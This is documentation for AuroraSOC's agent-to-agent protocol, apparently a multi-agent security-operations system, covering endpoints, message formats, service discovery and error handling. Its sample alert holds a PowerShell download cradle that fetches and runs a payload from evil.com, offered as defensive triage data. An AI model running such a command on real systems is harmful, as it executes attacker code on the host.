A2A Protocol

The Agent-to-Agent (A2A) protocol is the communication standard used by AuroraSOC's agents to interact with each other. Each agent runs as an independent HTTP server, and the protocol defines how tasks are dispatched and results returned.

Protocol Overview

Endpoints

Each A2A agent server exposes:

Endpoint	Method	Description
/task	POST	Submit a task for processing
/health	GET	Health check (200 if alive)
/.well-known/agent.json	GET	Agent card (capabilities, tags)

Agent Card

The agent card advertises capabilities:

{
  "name": "security_analyst",
  "description": "AI-powered security alert triage and analysis",
  "url": "http://agent-security-analyst:9001",
  "tags": ["security", "triage", "analysis", "siem"],
  "capabilities": {
    "tools": ["SearchLogs", "CorrelateEvents", "ExtractIOC", "MitreMap"],
    "memory": "tiered",
    "streaming": false
  }
}

Request Format

{
  "task": "Triage alert ALT-2024-001: Suspicious PowerShell execution",
  "context": {
    "alert_id": "ALT-2024-001",
    "source": "Wazuh",
    "severity": "HIGH",
    "raw_event": {
      "timestamp": "2024-01-15T12:03:15Z",
      "process": "powershell.exe",
      "command": "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload')",
      "user": "john.doe",
      "host": "workstation-0042"
    }
  },
  "thread_id": "inv-001",
  "metadata": {
    "requester": "orchestrator",
    "priority": "high"
  }
}

Response Format

{
  "result": "Alert ALT-2024-001 classified as HIGH severity. PowerShell download cradle detected matching MITRE T1059.001. IOCs extracted: evil.com, associated with Cobalt Strike C2 infrastructure.",
  "confidence": 0.92,
  "severity": "HIGH",
  "mitre_techniques": ["T1059.001", "T1105"],
  "iocs": [
    {"type": "domain", "value": "evil.com"},
    {"type": "hash", "value": "abc123..."}
  ],
  "recommendations": [
    "Isolate workstation-0042",
    "Block evil.com at proxy",
    "Check other hosts for similar PowerShell patterns"
  ],
  "thread_id": "inv-001"
}

Service Discovery Modes

AuroraSOC resolves A2A hostnames at runtime through A2ASettings.get_agent_url():

• A2A_DISCOVERY_MODE=compose resolves agent-<agent-name>
• A2A_DISCOVERY_MODE=k8s resolves agent-<agent-name>-svc

Optional overrides:

• A2A_CLIENT_HOST forces one host for all agents
• A2A_<AGENT_NAME>_HOST overrides an individual agent host

Examples:

# Docker Compose default
A2A_DISCOVERY_MODE=compose
# SecurityAnalyst -> http://agent-security-analyst:9001

# Kubernetes service naming
A2A_DISCOVERY_MODE=k8s
# SecurityAnalyst -> http://agent-security-analyst-svc:9001

API Startup Connectivity Probe

During API startup, AuroraSOC probes GET /health for all configured A2A agents:

• 2xx/4xx responses are logged as reachable
• 5xx responses are logged as warnings
• Network errors/timeouts are logged as warnings
• Startup does not fail on probe issues (warning-only degraded mode)

Thread Management

A2A supports multi-turn conversations via thread_id:

The LRUMemoryManager stores conversation state keyed by thread_id, allowing follow-up questions within the same investigation context.

Deployment Topology

Each agent is a separate container/process:

• Independent scaling (run 3 Security Analysts for high volumes)
• Independent updates (update Malware Analyst without restarting others)
• Fault isolation (one agent crash doesn't affect others)

Error Handling

HTTP Status	Meaning	Client Action
200	Task completed successfully	Process result
400	Bad request (invalid input)	Fix request format
408	Request timeout (task too long)	Retry with simpler task
500	Internal server error	Retry after backoff
503	Agent overloaded	Back off, circuit breaker

Performance Characteristics

Metric	Typical Value
Request overhead	~2ms (HTTP + JSON serialize)
Agent thinking time	2-15s (depends on LLM and tool count)
Circuit breaker open threshold	5 consecutive failures
Circuit breaker recovery timeout	60 seconds
Connection pool keep-alive	Until process shutdown
Max concurrent connections	Unlimited (async)